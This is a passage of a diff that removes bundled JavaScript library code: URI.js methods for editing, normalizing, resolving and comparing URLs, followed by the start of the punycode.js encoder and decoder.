-      } else if (v.match(/[^a-zA-Z0-9-]/)) {
-        if (SLD && SLD.is(v)) {
-          replace = new RegExp(escapeRegEx(this.tld()) + '$');
-          this._parts.hostname = this._parts.hostname.replace(replace, v);
-        } else {
-          throw new TypeError('TLD "' + v + '" contains characters other than [A-Z0-9]');
-        }
-      } else if (!this._parts.hostname || this.is('IP')) {
-        throw new ReferenceError('cannot set TLD on non-domain host');
-      } else {
-        replace = new RegExp(escapeRegEx(this.tld()) + '$');
-        this._parts.hostname = this._parts.hostname.replace(replace, v);
-      }
-
-      this.build(!build);
-      return this;
-    }
-  };
-  p.directory = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v === undefined || v === true) {
-      if (!this._parts.path && !this._parts.hostname) {
-        return '';
-      }
-
-      if (this._parts.path === '/') {
-        return '/';
-      }
-
-      var end = this._parts.path.length - this.filename().length - 1;
-      var res = this._parts.path.substring(0, end) || (this._parts.hostname ? '/' : '');
-
-      return v ? URI.decodePath(res) : res;
-
-    } else {
-      var e = this._parts.path.length - this.filename().length;
-      var directory = this._parts.path.substring(0, e);
-      var replace = new RegExp('^' + escapeRegEx(directory));
-
-      // fully qualifier directories begin with a slash
-      if (!this.is('relative')) {
-        if (!v) {
-          v = '/';
-        }
-
-        if (v.charAt(0) !== '/') {
-          v = '/' + v;
-        }
-      }
-
-      // directories always end with a slash
-      if (v && v.charAt(v.length - 1) !== '/') {
-        v += '/';
-      }
-
-      v = URI.recodePath(v);
-      this._parts.path = this._parts.path.replace(replace, v);
-      this.build(!build);
-      return this;
-    }
-  };
-  p.filename = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v === undefined || v === true) {
-      if (!this._parts.path || this._parts.path === '/') {
-        return '';
-      }
-
-      var pos = this._parts.path.lastIndexOf('/');
-      var res = this._parts.path.substring(pos+1);
-
-      return v ? URI.decodePathSegment(res) : res;
-    } else {
-      var mutatedDirectory = false;
-
-      if (v.charAt(0) === '/') {
-        v = v.substring(1);
-      }
-
-      if (v.match(/\.?\//)) {
-        mutatedDirectory = true;
-      }
-
-      var replace = new RegExp(escapeRegEx(this.filename()) + '$');
-      v = URI.recodePath(v);
-      this._parts.path = this._parts.path.replace(replace, v);
-
-      if (mutatedDirectory) {
-        this.normalizePath(build);
-      } else {
-        this.build(!build);
-      }
-
-      return this;
-    }
-  };
-  p.suffix = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v === undefined || v === true) {
-      if (!this._parts.path || this._parts.path === '/') {
-        return '';
-      }
-
-      var filename = this.filename();
-      var pos = filename.lastIndexOf('.');
-      var s, res;
-
-      if (pos === -1) {
-        return '';
-      }
-
-      // suffix may only contain alnum characters (yup, I made this up.)
-      s = filename.substring(pos+1);
-      res = (/^[a-z0-9%]+$/i).test(s) ? s : '';
-      return v ? URI.decodePathSegment(res) : res;
-    } else {
-      if (v.charAt(0) === '.') {
-        v = v.substring(1);
-      }
-
-      var suffix = this.suffix();
-      var replace;
-
-      if (!suffix) {
-        if (!v) {
-          return this;
-        }
-
-        this._parts.path += '.' + URI.recodePath(v);
-      } else if (!v) {
-        replace = new RegExp(escapeRegEx('.' + suffix) + '$');
-      } else {
-        replace = new RegExp(escapeRegEx(suffix) + '$');
-      }
-
-      if (replace) {
-        v = URI.recodePath(v);
-        this._parts.path = this._parts.path.replace(replace, v);
-      }
-
-      this.build(!build);
-      return this;
-    }
-  };
-  p.segment = function(segment, v, build) {
-    var separator = this._parts.urn ? ':' : '/';
-    var path = this.path();
-    var absolute = path.substring(0, 1) === '/';
-    var segments = path.split(separator);
-
-    if (segment !== undefined && typeof segment !== 'number') {
-      build = v;
-      v = segment;
-      segment = undefined;
-    }
-
-    if (segment !== undefined && typeof segment !== 'number') {
-      throw new Error('Bad segment "' + segment + '", must be 0-based integer');
-    }
-
-    if (absolute) {
-      segments.shift();
-    }
-
-    if (segment < 0) {
-      // allow negative indexes to address from the end
-      segment = Math.max(segments.length + segment, 0);
-    }
-
-    if (v === undefined) {
-      /*jshint laxbreak: true */
-      return segment === undefined
-        ? segments
-        : segments[segment];
-      /*jshint laxbreak: false */
-    } else if (segment === null || segments[segment] === undefined) {
-      if (isArray(v)) {
-        segments = [];
-        // collapse empty elements within array
-        for (var i=0, l=v.length; i < l; i++) {
-          if (!v[i].length && (!segments.length || !segments[segments.length -1].length)) {
-            continue;
-          }
-
-          if (segments.length && !segments[segments.length -1].length) {
-            segments.pop();
-          }
-
-          segments.push(trimSlashes(v[i]));
-        }
-      } else if (v || typeof v === 'string') {
-        v = trimSlashes(v);
-        if (segments[segments.length -1] === '') {
-          // empty trailing elements have to be overwritten
-          // to prevent results such as /foo//bar
-          segments[segments.length -1] = v;
-        } else {
-          segments.push(v);
-        }
-      }
-    } else {
-      if (v) {
-        segments[segment] = trimSlashes(v);
-      } else {
-        segments.splice(segment, 1);
-      }
-    }
-
-    if (absolute) {
-      segments.unshift('');
-    }
-
-    return this.path(segments.join(separator), build);
-  };
-  p.segmentCoded = function(segment, v, build) {
-    var segments, i, l;
-
-    if (typeof segment !== 'number') {
-      build = v;
-      v = segment;
-      segment = undefined;
-    }
-
-    if (v === undefined) {
-      segments = this.segment(segment, v, build);
-      if (!isArray(segments)) {
-        segments = segments !== undefined ? URI.decode(segments) : undefined;
-      } else {
-        for (i = 0, l = segments.length; i < l; i++) {
-          segments[i] = URI.decode(segments[i]);
-        }
-      }
-
-      return segments;
-    }
-
-    if (!isArray(v)) {
-      v = (typeof v === 'string' || v instanceof String) ? URI.encode(v) : v;
-    } else {
-      for (i = 0, l = v.length; i < l; i++) {
-        v[i] = URI.encode(v[i]);
-      }
-    }
-
-    return this.segment(segment, v, build);
-  };
-
-  // mutating query string
-  var q = p.query;
-  p.query = function(v, build) {
-    if (v === true) {
-      return URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
-    } else if (typeof v === 'function') {
-      var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
-      var result = v.call(this, data);
-      this._parts.query = URI.buildQuery(result || data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
-      this.build(!build);
-      return this;
-    } else if (v !== undefined && typeof v !== 'string') {
-      this._parts.query = URI.buildQuery(v, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
-      this.build(!build);
-      return this;
-    } else {
-      return q.call(this, v, build);
-    }
-  };
-  p.setQuery = function(name, value, build) {
-    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
-
-    if (typeof name === 'string' || name instanceof String) {
-      data[name] = value !== undefined ? value : null;
-    } else if (typeof name === 'object') {
-      for (var key in name) {
-        if (hasOwn.call(name, key)) {
-          data[key] = name[key];
-        }
-      }
-    } else {
-      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');
-    }
-
-    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
-    if (typeof name !== 'string') {
-      build = value;
-    }
-
-    this.build(!build);
-    return this;
-  };
-  p.addQuery = function(name, value, build) {
-    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
-    URI.addQuery(data, name, value === undefined ? null : value);
-    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
-    if (typeof name !== 'string') {
-      build = value;
-    }
-
-    this.build(!build);
-    return this;
-  };
-  p.removeQuery = function(name, value, build) {
-    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
-    URI.removeQuery(data, name, value);
-    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
-    if (typeof name !== 'string') {
-      build = value;
-    }
-
-    this.build(!build);
-    return this;
-  };
-  p.hasQuery = function(name, value, withinArray) {
-    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
-    return URI.hasQuery(data, name, value, withinArray);
-  };
-  p.setSearch = p.setQuery;
-  p.addSearch = p.addQuery;
-  p.removeSearch = p.removeQuery;
-  p.hasSearch = p.hasQuery;
-
-  // sanitizing URLs
-  p.normalize = function() {
-    if (this._parts.urn) {
-      return this
-        .normalizeProtocol(false)
-        .normalizePath(false)
-        .normalizeQuery(false)
-        .normalizeFragment(false)
-        .build();
-    }
-
-    return this
-      .normalizeProtocol(false)
-      .normalizeHostname(false)
-      .normalizePort(false)
-      .normalizePath(false)
-      .normalizeQuery(false)
-      .normalizeFragment(false)
-      .build();
-  };
-  p.normalizeProtocol = function(build) {
-    if (typeof this._parts.protocol === 'string') {
-      this._parts.protocol = this._parts.protocol.toLowerCase();
-      this.build(!build);
-    }
-
-    return this;
-  };
-  p.normalizeHostname = function(build) {
-    if (this._parts.hostname) {
-      if (this.is('IDN') && punycode) {
-        this._parts.hostname = punycode.toASCII(this._parts.hostname);
-      } else if (this.is('IPv6') && IPv6) {
-        this._parts.hostname = IPv6.best(this._parts.hostname);
-      }
-
-      this._parts.hostname = this._parts.hostname.toLowerCase();
-      this.build(!build);
-    }
-
-    return this;
-  };
-  p.normalizePort = function(build) {
-    // remove port of it's the protocol's default
-    if (typeof this._parts.protocol === 'string' && this._parts.port === URI.defaultPorts[this._parts.protocol]) {
-      this._parts.port = null;
-      this.build(!build);
-    }
-
-    return this;
-  };
-  p.normalizePath = function(build) {
-    var _path = this._parts.path;
-    if (!_path) {
-      return this;
-    }
-
-    if (this._parts.urn) {
-      this._parts.path = URI.recodeUrnPath(this._parts.path);
-      this.build(!build);
-      return this;
-    }
-
-    if (this._parts.path === '/') {
-      return this;
-    }
-
-    var _was_relative;
-    var _leadingParents = '';
-    var _parent, _pos;
-
-    // handle relative paths
-    if (_path.charAt(0) !== '/') {
-      _was_relative = true;
-      _path = '/' + _path;
-    }
-
-    // handle relative files (as opposed to directories)
-    if (_path.slice(-3) === '/..' || _path.slice(-2) === '/.') {
-      _path += '/';
-    }
-
-    // resolve simples
-    _path = _path
-      .replace(/(\/(\.\/)+)|(\/\.$)/g, '/')
-      .replace(/\/{2,}/g, '/');
-
-    // remember leading parents
-    if (_was_relative) {
-      _leadingParents = _path.substring(1).match(/^(\.\.\/)+/) || '';
-      if (_leadingParents) {
-        _leadingParents = _leadingParents[0];
-      }
-    }
-
-    // resolve parents
-    while (true) {
-      _parent = _path.indexOf('/..');
-      if (_parent === -1) {
-        // no more ../ to resolve
-        break;
-      } else if (_parent === 0) {
-        // top level cannot be relative, skip it
-        _path = _path.substring(3);
-        continue;
-      }
-
-      _pos = _path.substring(0, _parent).lastIndexOf('/');
-      if (_pos === -1) {
-        _pos = _parent;
-      }
-      _path = _path.substring(0, _pos) + _path.substring(_parent + 3);
-    }
-
-    // revert to relative
-    if (_was_relative && this.is('relative')) {
-      _path = _leadingParents + _path.substring(1);
-    }
-
-    _path = URI.recodePath(_path);
-    this._parts.path = _path;
-    this.build(!build);
-    return this;
-  };
-  p.normalizePathname = p.normalizePath;
-  p.normalizeQuery = function(build) {
-    if (typeof this._parts.query === 'string') {
-      if (!this._parts.query.length) {
-        this._parts.query = null;
-      } else {
-        this.query(URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace));
-      }
-
-      this.build(!build);
-    }
-
-    return this;
-  };
-  p.normalizeFragment = function(build) {
-    if (!this._parts.fragment) {
-      this._parts.fragment = null;
-      this.build(!build);
-    }
-
-    return this;
-  };
-  p.normalizeSearch = p.normalizeQuery;
-  p.normalizeHash = p.normalizeFragment;
-
-  p.iso8859 = function() {
-    // expect unicode input, iso8859 output
-    var e = URI.encode;
-    var d = URI.decode;
-
-    URI.encode = escape;
-    URI.decode = decodeURIComponent;
-    try {
-      this.normalize();
-    } finally {
-      URI.encode = e;
-      URI.decode = d;
-    }
-    return this;
-  };
-
-  p.unicode = function() {
-    // expect iso8859 input, unicode output
-    var e = URI.encode;
-    var d = URI.decode;
-
-    URI.encode = strictEncodeURIComponent;
-    URI.decode = unescape;
-    try {
-      this.normalize();
-    } finally {
-      URI.encode = e;
-      URI.decode = d;
-    }
-    return this;
-  };
-
-  p.readable = function() {
-    var uri = this.clone();
-    // removing username, password, because they shouldn't be displayed according to RFC 3986
-    uri.username('').password('').normalize();
-    var t = '';
-    if (uri._parts.protocol) {
-      t += uri._parts.protocol + '://';
-    }
-
-    if (uri._parts.hostname) {
-      if (uri.is('punycode') && punycode) {
-        t += punycode.toUnicode(uri._parts.hostname);
-        if (uri._parts.port) {
-          t += ':' + uri._parts.port;
-        }
-      } else {
-        t += uri.host();
-      }
-    }
-
-    if (uri._parts.hostname && uri._parts.path && uri._parts.path.charAt(0) !== '/') {
-      t += '/';
-    }
-
-    t += uri.path(true);
-    if (uri._parts.query) {
-      var q = '';
-      for (var i = 0, qp = uri._parts.query.split('&'), l = qp.length; i < l; i++) {
-        var kv = (qp[i] || '').split('=');
-        q += '&' + URI.decodeQuery(kv[0], this._parts.escapeQuerySpace)
-          .replace(/&/g, '%26');
-
-        if (kv[1] !== undefined) {
-          q += '=' + URI.decodeQuery(kv[1], this._parts.escapeQuerySpace)
-            .replace(/&/g, '%26');
-        }
-      }
-      t += '?' + q.substring(1);
-    }
-
-    t += URI.decodeQuery(uri.hash(), true);
-    return t;
-  };
-
-  // resolving relative and absolute URLs
-  p.absoluteTo = function(base) {
-    var resolved = this.clone();
-    var properties = ['protocol', 'username', 'password', 'hostname', 'port'];
-    var basedir, i, p;
-
-    if (this._parts.urn) {
-      throw new Error('URNs do not have any generally defined hierarchical components');
-    }
-
-    if (!(base instanceof URI)) {
-      base = new URI(base);
-    }
-
-    if (!resolved._parts.protocol) {
-      resolved._parts.protocol = base._parts.protocol;
-    }
-
-    if (this._parts.hostname) {
-      return resolved;
-    }
-
-    for (i = 0; (p = properties[i]); i++) {
-      resolved._parts[p] = base._parts[p];
-    }
-
-    if (!resolved._parts.path) {
-      resolved._parts.path = base._parts.path;
-      if (!resolved._parts.query) {
-        resolved._parts.query = base._parts.query;
-      }
-    } else if (resolved._parts.path.substring(-2) === '..') {
-      resolved._parts.path += '/';
-    }
-
-    if (resolved.path().charAt(0) !== '/') {
-      basedir = base.directory();
-      basedir = basedir ? basedir : base.path().indexOf('/') === 0 ? '/' : '';
-      resolved._parts.path = (basedir ? (basedir + '/') : '') + resolved._parts.path;
-      resolved.normalizePath();
-    }
-
-    resolved.build();
-    return resolved;
-  };
-  p.relativeTo = function(base) {
-    var relative = this.clone().normalize();
-    var relativeParts, baseParts, common, relativePath, basePath;
-
-    if (relative._parts.urn) {
-      throw new Error('URNs do not have any generally defined hierarchical components');
-    }
-
-    base = new URI(base).normalize();
-    relativeParts = relative._parts;
-    baseParts = base._parts;
-    relativePath = relative.path();
-    basePath = base.path();
-
-    if (relativePath.charAt(0) !== '/') {
-      throw new Error('URI is already relative');
-    }
-
-    if (basePath.charAt(0) !== '/') {
-      throw new Error('Cannot calculate a URI relative to another relative URI');
-    }
-
-    if (relativeParts.protocol === baseParts.protocol) {
-      relativeParts.protocol = null;
-    }
-
-    if (relativeParts.username !== baseParts.username || relativeParts.password !== baseParts.password) {
-      return relative.build();
-    }
-
-    if (relativeParts.protocol !== null || relativeParts.username !== null || relativeParts.password !== null) {
-      return relative.build();
-    }
-
-    if (relativeParts.hostname === baseParts.hostname && relativeParts.port === baseParts.port) {
-      relativeParts.hostname = null;
-      relativeParts.port = null;
-    } else {
-      return relative.build();
-    }
-
-    if (relativePath === basePath) {
-      relativeParts.path = '';
-      return relative.build();
-    }
-
-    // determine common sub path
-    common = URI.commonPath(relativePath, basePath);
-
-    // If the paths have nothing in common, return a relative URL with the absolute path.
-    if (!common) {
-      return relative.build();
-    }
-
-    var parents = baseParts.path
-      .substring(common.length)
-      .replace(/[^\/]*$/, '')
-      .replace(/.*?\//g, '../');
-
-    relativeParts.path = (parents + relativeParts.path.substring(common.length)) || './';
-
-    return relative.build();
-  };
-
-  // comparing URIs
-  p.equals = function(uri) {
-    var one = this.clone();
-    var two = new URI(uri);
-    var one_map = {};
-    var two_map = {};
-    var checked = {};
-    var one_query, two_query, key;
-
-    one.normalize();
-    two.normalize();
-
-    // exact match
-    if (one.toString() === two.toString()) {
-      return true;
-    }
-
-    // extract query string
-    one_query = one.query();
-    two_query = two.query();
-    one.query('');
-    two.query('');
-
-    // definitely not equal if not even non-query parts match
-    if (one.toString() !== two.toString()) {
-      return false;
-    }
-
-    // query parameters have the same length, even if they're permuted
-    if (one_query.length !== two_query.length) {
-      return false;
-    }
-
-    one_map = URI.parseQuery(one_query, this._parts.escapeQuerySpace);
-    two_map = URI.parseQuery(two_query, this._parts.escapeQuerySpace);
-
-    for (key in one_map) {
-      if (hasOwn.call(one_map, key)) {
-        if (!isArray(one_map[key])) {
-          if (one_map[key] !== two_map[key]) {
-            return false;
-          }
-        } else if (!arraysEqual(one_map[key], two_map[key])) {
-          return false;
-        }
-
-        checked[key] = true;
-      }
-    }
-
-    for (key in two_map) {
-      if (hasOwn.call(two_map, key)) {
-        if (!checked[key]) {
-          // two contains a parameter not present in one
-          return false;
-        }
-      }
-    }
-
-    return true;
-  };
-
-  // state
-  p.duplicateQueryParameters = function(v) {
-    this._parts.duplicateQueryParameters = !!v;
-    return this;
-  };
-
-  p.escapeQuerySpace = function(v) {
-    this._parts.escapeQuerySpace = !!v;
-    return this;
-  };
-
-  return URI;
-}));
-
-},{"./IPv6":1,"./SecondLevelDomains":2,"./punycode":4}],4:[function(require,module,exports){
-(function (global){
-/*! http://mths.be/punycode v1.2.3 by @mathias */
-;(function(root) {
-
-	/** Detect free variables */
-	var freeExports = typeof exports == 'object' && exports;
-	var freeModule = typeof module == 'object' && module &&
-		module.exports == freeExports && module;
-	var freeGlobal = typeof global == 'object' && global;
-	if (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal) {
-		root = freeGlobal;
-	}
-
-	/**
-	 * The `punycode` object.
-	 * @name punycode
-	 * @type Object
-	 */
-	var punycode,
-
-	/** Highest positive signed 32-bit float value */
-	maxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1
-
-	/** Bootstring parameters */
-	base = 36,
-	tMin = 1,
-	tMax = 26,
-	skew = 38,
-	damp = 700,
-	initialBias = 72,
-	initialN = 128, // 0x80
-	delimiter = '-', // '\x2D'
-
-	/** Regular expressions */
-	regexPunycode = /^xn--/,
-	regexNonASCII = /[^ -~]/, // unprintable ASCII chars + non-ASCII chars
-	regexSeparators = /\x2E|\u3002|\uFF0E|\uFF61/g, // RFC 3490 separators
-
-	/** Error messages */
-	errors = {
-		'overflow': 'Overflow: input needs wider integers to process',
-		'not-basic': 'Illegal input >= 0x80 (not a basic code point)',
-		'invalid-input': 'Invalid input'
-	},
-
-	/** Convenience shortcuts */
-	baseMinusTMin = base - tMin,
-	floor = Math.floor,
-	stringFromCharCode = String.fromCharCode,
-
-	/** Temporary variable */
-	key;
-
-	/*--------------------------------------------------------------------------*/
-
-	/**
-	 * A generic error utility function.
-	 * @private
-	 * @param {String} type The error type.
-	 * @returns {Error} Throws a `RangeError` with the applicable error message.
-	 */
-	function error(type) {
-		throw RangeError(errors[type]);
-	}
-
-	/**
-	 * A generic `Array#map` utility function.
-	 * @private
-	 * @param {Array} array The array to iterate over.
-	 * @param {Function} callback The function that gets called for every array
-	 * item.
-	 * @returns {Array} A new array of values returned by the callback function.
-	 */
-	function map(array, fn) {
-		var length = array.length;
-		while (length--) {
-			array[length] = fn(array[length]);
-		}
-		return array;
-	}
-
-	/**
-	 * A simple `Array#map`-like wrapper to work with domain name strings.
-	 * @private
-	 * @param {String} domain The domain name.
-	 * @param {Function} callback The function that gets called for every
-	 * character.
-	 * @returns {Array} A new string of characters returned by the callback
-	 * function.
-	 */
-	function mapDomain(string, fn) {
-		return map(string.split(regexSeparators), fn).join('.');
-	}
-
-	/**
-	 * Creates an array containing the numeric code points of each Unicode
-	 * character in the string. While JavaScript uses UCS-2 internally,
-	 * this function will convert a pair of surrogate halves (each of which
-	 * UCS-2 exposes as separate characters) into a single code point,
-	 * matching UTF-16.
-	 * @see `punycode.ucs2.encode`
-	 * @see <http://mathiasbynens.be/notes/javascript-encoding>
-	 * @memberOf punycode.ucs2
-	 * @name decode
-	 * @param {String} string The Unicode input string (UCS-2).
-	 * @returns {Array} The new array of code points.
-	 */
-	function ucs2decode(string) {
-		var output = [],
-		    counter = 0,
-		    length = string.length,
-		    value,
-		    extra;
-		while (counter < length) {
-			value = string.charCodeAt(counter++);
-			if (value >= 0xD800 && value <= 0xDBFF && counter < length) {
-				// high surrogate, and there is a next character
-				extra = string.charCodeAt(counter++);
-				if ((extra & 0xFC00) == 0xDC00) { // low surrogate
-					output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);
-				} else {
-					// unmatched surrogate; only append this code unit, in case the next
-					// code unit is the high surrogate of a surrogate pair
-					output.push(value);
-					counter--;
-				}
-			} else {
-				output.push(value);
-			}
-		}
-		return output;
-	}
-
-	/**
-	 * Creates a string based on an array of numeric code points.
-	 * @see `punycode.ucs2.decode`
-	 * @memberOf punycode.ucs2
-	 * @name encode
-	 * @param {Array} codePoints The array of numeric code points.
-	 * @returns {String} The new Unicode string (UCS-2).
-	 */
-	function ucs2encode(array) {
-		return map(array, function(value) {
-			var output = '';
-			if (value > 0xFFFF) {
-				value -= 0x10000;
-				output += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800);
-				value = 0xDC00 | value & 0x3FF;
-			}
-			output += stringFromCharCode(value);
-			return output;
-		}).join('');
-	}
-
-	/**
-	 * Converts a basic code point into a digit/integer.
-	 * @see `digitToBasic()`
-	 * @private
-	 * @param {Number} codePoint The basic numeric code point value.
-	 * @returns {Number} The numeric value of a basic code point (for use in
-	 * representing integers) in the range `0` to `base - 1`, or `base` if
-	 * the code point does not represent a value.
-	 */
-	function basicToDigit(codePoint) {
-		if (codePoint - 48 < 10) {
-			return codePoint - 22;
-		}
-		if (codePoint - 65 < 26) {
-			return codePoint - 65;
-		}
-		if (codePoint - 97 < 26) {
-			return codePoint - 97;
-		}
-		return base;
-	}
-
-	/**
-	 * Converts a digit/integer into a basic code point.
-	 * @see `basicToDigit()`
-	 * @private
-	 * @param {Number} digit The numeric value of a basic code point.
-	 * @returns {Number} The basic code point whose value (when used for
-	 * representing integers) is `digit`, which needs to be in the range
-	 * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is
-	 * used; else, the lowercase form is used. The behavior is undefined
-	 * if `flag` is non-zero and `digit` has no uppercase form.
-	 */
-	function digitToBasic(digit, flag) {
-		//  0..25 map to ASCII a..z or A..Z
-		// 26..35 map to ASCII 0..9
-		return digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);
-	}
-
-	/**
-	 * Bias adaptation function as per section 3.4 of RFC 3492.
-	 * http://tools.ietf.org/html/rfc3492#section-3.4
-	 * @private
-	 */
-	function adapt(delta, numPoints, firstTime) {
-		var k = 0;
-		delta = firstTime ? floor(delta / damp) : delta >> 1;
-		delta += floor(delta / numPoints);
-		for (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) {
-			delta = floor(delta / baseMinusTMin);
-		}
-		return floor(k + (baseMinusTMin + 1) * delta / (delta + skew));
-	}
-
-	/**
-	 * Converts a Punycode string of ASCII-only symbols to a string of Unicode
-	 * symbols.
-	 * @memberOf punycode
-	 * @param {String} input The Punycode string of ASCII-only symbols.
-	 * @returns {String} The resulting string of Unicode symbols.
-	 */
-	function decode(input) {
-		// Don't use UCS-2
-		var output = [],
-		    inputLength = input.length,
-		    out,
-		    i = 0,
-		    n = initialN,
-		    bias = initialBias,
-		    basic,
-		    j,
-		    index,
-		    oldi,
-		    w,
-		    k,
-		    digit,
-		    t,
-		    length,
-		    /** Cached calculation results */
-		    baseMinusT;
-
-		// Handle the basic code points: let `basic` be the number of input code
-		// points before the last delimiter, or `0` if there is none, then copy
-		// the first basic code points to the output.
-
-		basic = input.lastIndexOf(delimiter);
-		if (basic < 0) {
-			basic = 0;
-		}
-
-		for (j = 0; j < basic; ++j) {
-			// if it's not a basic code point
-			if (input.charCodeAt(j) >= 0x80) {
-				error('not-basic');
-			}
-			output.push(input.charCodeAt(j));
-		}
-
-		// Main decoding loop: start just after the last delimiter if any basic code
-		// points were copied; start at the beginning otherwise.
-
-		for (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) {
-
-			// `index` is the index of the next character to be consumed.
-			// Decode a generalized variable-length integer into `delta`,
-			// which gets added to `i`. The overflow checking is easier
-			// if we increase `i` as we go, then subtract off its starting
-			// value at the end to obtain `delta`.
-			for (oldi = i, w = 1, k = base; /* no condition */; k += base) {
-
-				if (index >= inputLength) {
-					error('invalid-input');
-				}
-
-				digit = basicToDigit(input.charCodeAt(index++));
-
-				if (digit >= base || digit > floor((maxInt - i) / w)) {
-					error('overflow');
-				}
-
-				i += digit * w;
-				t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
-
-				if (digit < t) {
-					break;
-				}
-
-				baseMinusT = base - t;
-				if (w > floor(maxInt / baseMinusT)) {
-					error('overflow');
-				}
-
-				w *= baseMinusT;
-
-			}
-
-			out = output.length + 1;
-			bias = adapt(i - oldi, out, oldi == 0);
-
-			// `i` was supposed to wrap around from `out` to `0`,
-			// incrementing `n` each time, so we'll fix that now:
-			if (floor(i / out) > maxInt - n) {
-				error('overflow');
-			}
-
-			n += floor(i / out);
-			i %= out;
-
-			// Insert `n` at position `i` of the output
-			output.splice(i++, 0, n);
-
-		}
-
-		return ucs2encode(output);
-	}
-
-	/**
-	 * Converts a string of Unicode symbols to a Punycode string of ASCII-only
-	 * symbols.
-	 * @memberOf punycode
-	 * @param {String} input The string of Unicode symbols.
-	 * @returns {String} The resulting Punycode string of ASCII-only symbols.
-	 */
-	function encode(input) {
-		var n,
-		    delta,
-		    handledCPCount,
-		    basicLength,
-		    bias,
-		    j,
-		    m,
-		    q,
-		    k,
-		    t,
-		    currentValue,
-		    output = [],
-		    /** `inputLength` will hold the number of code points in `input`. */
-		    inputLength,
-		    /** Cached calculation results */
-		    handledCPCountPlusOne,
-		    baseMinusT,
-		    qMinusT;
-
-		// Convert the input in UCS-2 to Unicode
-		input = ucs2decode(input);
-
-		// Cache the length
-		inputLength = input.length;
-
-		// Initialize the state
-		n = initialN;
-		delta = 0;
-		bias = initialBias;
-
-		// Handle the basic code points
-		for (j = 0; j < inputLength; ++j) {
-			currentValue = input[j];
-			if (currentValue < 0x80) {
-				output.push(stringFromCharCode(currentValue));
-			}
-		}
-
-		handledCPCount = basicLength = output.length;
-
-		// `handledCPCount` is the number of code points that have been handled;
-		// `basicLength` is the number of basic code points.
-
-		// Finish the basic string - if it is not empty - with a delimiter
-		if (basicLength) {
-			output.push(delimiter);
-		}
-
-		// Main encoding loop:
-		while (handledCPCount < inputLength) {
-
-			// All non-basic code points < n have been handled already. Find the next
-			// larger one:
-			for (m = maxInt, j = 0; j < inputLength; ++j) {
-				currentValue = input[j];
-				if (currentValue >= n && currentValue < m) {
-					m = currentValue;
-				}
-			}
-
-			// Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,
-			// but guard against overflow
-			handledCPCountPlusOne = handledCPCount + 1;
-			if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {
-				error('overflow');
-			}
-
-			delta += (m - n) * handledCPCountPlusOne;
-			n = m;
-
-			for (j = 0; j < inputLength; ++j) {
-				currentValue = input[j];
-
-				if (currentValue < n && ++delta > maxInt) {
-					error('overflow');
-				}
-
-				if (currentValue == n) {
-					// Represent delta as a generalized variable-length integer
-					for (q = delta, k = base; /* no condition */; k += base) {
-						t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
-						if (q < t) {
-							break;
-						}
-						qMinusT = q - t;
-						baseMinusT = base - t;
-						output.push(
-							stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0))
-						);
-						q = floor(qMinusT / baseMinusT);
-					}
-
-					output.push(stringFromCharCode(digitToBasic(q, 0)));
-					bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);
-					delta = 0;
-					++handledCPCount;
-				}
-			}
-
-			++delta;
-			++n;
-
-		}
-		return output.join('');
-	}
-
-	/**
-	 * Converts a Punycode string representing a domain name to Unicode. Only the
-	 * Punycoded parts of the domain name will be converted, i.e. it doesn't
-	 * matter if you call it on a string that has already been converted to
-	 * Unicode.
-	 * @memberOf punycode
-	 * @param {String} domain The Punycode domain name to convert to Unicode.
-	 * @returns {String} The Unicode representation of the given Punycode
-	 * string.
-	 */
-	function toUnicode(domain) {
-		return mapDomain(domain, function(string) {
-			return regexPunycode.test(string)
-				? decode(string.slice(4).toLowerCase())
-				: string;
-		});
-	}
-
-	/**
-	 * Converts a Unicode string representing a domain name to Punycode. Only the
-	 * non-ASCII parts of the domain name will be converted, i.e. it doesn't
-	 * matter if you call it with a domain that's already in ASCII.
-	 * @memberOf punycode
-	 * @param {String} domain The domain name to convert, as a Unicode string.
-	 * @returns {String} The Punycode representation of the given domain name.
-	 */
-	function toASCII(domain) {
-		return mapDomain(domain, function(string) {
-			return regexNonASCII.test(string)
-				? 'xn--' + encode(string)
-				: string;
-		});
-	}
-
-	/*--------------------------------------------------------------------------*/
-
-	/** Define the public API */
-	punycode = {
-		/**
-		 * A string representing the current Punycode.js version number.
-		 * @memberOf punycode
-		 * @type String
-		 */
-		'version': '1.2.3',
-		/**
-		 * An object of methods to convert from JavaScript's internal character
-		 * representation (UCS-2) to Unicode code points, and back.
-		 * @see <http://mathiasbynens.be/notes/javascript-encoding>
-		 * @memberOf punycode
-		 * @type Object
-		 */
-		'ucs2': {
-			'decode': ucs2decode,
-			'encode': ucs2encode
-		},
-		'decode': decode,
-		'encode': encode,
-		'toASCII': toASCII,
